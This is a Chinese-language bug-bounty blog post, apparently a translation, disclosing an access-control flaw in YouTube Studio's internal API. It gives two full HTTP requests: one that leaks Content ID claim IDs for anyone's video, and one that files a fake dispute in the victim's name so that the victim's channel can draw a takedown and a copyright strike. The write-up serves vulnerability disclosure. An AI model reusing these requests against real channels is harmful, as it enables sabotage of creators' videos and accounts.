利用API漏洞发起YouTube视频版权争议攻击

本文披露了YouTube Studio API存在访问控制缺陷,攻击者可利用该漏洞获取他人视频的版权声明ID并伪造争议,诱导版权方发起下架请求,导致目标频道收到版权警告甚至被删除。

一种创意方式删除他人YouTube视频并对其频道发起版权警告

大家好!欢迎回到另一篇关于我向Google提交的有趣发现的博客文章。由于上一篇文章获得了很好的反响,我可能会在本周末或下周再发布一篇。不确定那篇报告会包含什么内容。

如果你读过上一篇文章,你可能已经看到如何利用Google Classroom中的API泄露其他用户的Google Drive文件。Google为此支付了丰厚的奖金并迅速修复了问题。那篇文章获得的关注也非常惊人,所以感谢大家。

在这篇文章中,我将展示一个非常有趣的发现,它可能让你能够删除他人的YouTube视频,甚至危及他们的整个频道被删除。

那么让我们开始吧!

首先,简单介绍一下YouTube和版权争议的背景。

我认为大多数人都知道YouTube有一个版权处理流程,例如,如果你上传的视频使用了别人的音乐,内容ID声明就会针对你的视频提出。这些通常是无害的,可能会导致广告出现在你的视频上,以便材料的所有者可以从中赚取一些钱等。

假设内容ID声明是针对你的视频提出的,而你实际上拥有视频中的材料。YouTube也有一个很好的争议处理流程你可以进行。以下是他们展示这个流程的图片:

这是Google提供的一个非常棒的图表,展示了争议处理流程。所以,如果你对你上传的YouTube视频的内容ID声明提出争议,实际内容的所有者会收到通知,并且可以采取一些行动。如果所有者认为你的争议声明无效,他们可以这样做:

声明人可以做什么

  • 释放声明:如果声明人同意你的争议,他们可以释放他们的声明。如果你之前正在通过视频获利,当视频上的所有声明都被释放时,你的获利设置将自动恢复。了解更多关于内容ID争议期间的获利信息。
  • 恢复声明:如果声明人认为他们的声明仍然有效,他们可以恢复它。这意味着你的争议被拒绝,声明仍然留在你的视频上。你可能有权对此决定提出上诉。
  • 提交下架请求:如果声明人认为他们的声明仍然有效,他们可以提交版权下架请求。如果下架请求有效,你的视频将从YouTube删除,并且你的频道会收到版权警告。了解更多关于解决版权警告的选项。
  • 让声明过期:如果声明人在30天内没有回应,视频上的声明将过期并从你的视频中释放。

正如你在上面看到的,如果你提交争议,材料的所有者实际上可以提交整个视频的下架请求,这也会导致你的频道收到版权警告。对于那些不知道的人来说,YouTube频道上的版权警告非常严重。你的频道面临被完全删除的风险。

发现

这个特定的晚上,当我在做研究时,我正在测试YouTube内容工作室这里:https://studio.youtube.com

我主要只是测试所有不同的API端点,看看是否有任何缺少访问控制检查的地方。好消息是,在测试删除他人YouTube视频的API时,我收到了访问被拒绝的错误,所以在这方面一切都很好。

现在我想,如果我不能直接删除某人的YouTube视频或频道,我还能做什么。我如何绕过这个?

在研究过程中,我最终找到了这个API端点,在我上传了一个有一段时间前有内容ID声明的视频之后:

1
2
3
POST /youtubei/v1/creator/list_creator_received_claims?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"},"videoId":"n6c0nOScCCo","criticalRead":false}

在上面的请求中,它列出了你拥有的视频收到的内容ID声明。在底部,你应该看到:

"videoId":"n6c0nOScCCo"

如果你将视频ID替换为任何其他视频,你可以看到针对该视频的内容ID声明。所以这个API没有适当的访问控制检查,允许你泄露针对任何人视频的内容ID声明。

当我这样做时,我注意到我在响应中收到了claimID。然后我想知道知道claimID会有多有用。

然后我在调查时找到了下一个请求:

1
2
3
POST /youtubei/v1/copyright/submit_claim_dispute?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE","fairUseType":"FAIR_USE_TYPE_PROMOTIONAL","justification":"test","signature":"test","channelId":"UCB1Z_cpKu-5V4ag30cndODQ","context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"}}

如果你看上面这个请求,你应该看到:

{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE",

好吧,我刚刚在第一个请求中泄露了视频的claimID。所以现在你需要做的就是将claimID更改为你泄露的ID,并将videoID更改为你目标的视频。

你现在已经完全打开并提交了对他人整个视频的虚假内容声明争议。如果你还记得上面的图片,真实的所有者可以完全提交回应,让你的整个视频被下架,并附带版权警告。

所以,虽然这并没有直接导致任何人的YouTube视频被删除,但这是一种可以做到这一点的创意方式。

这是一个视频POC:

再次,Google VRP喜欢他们的视频配音乐,所以请也享受这一点 :)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计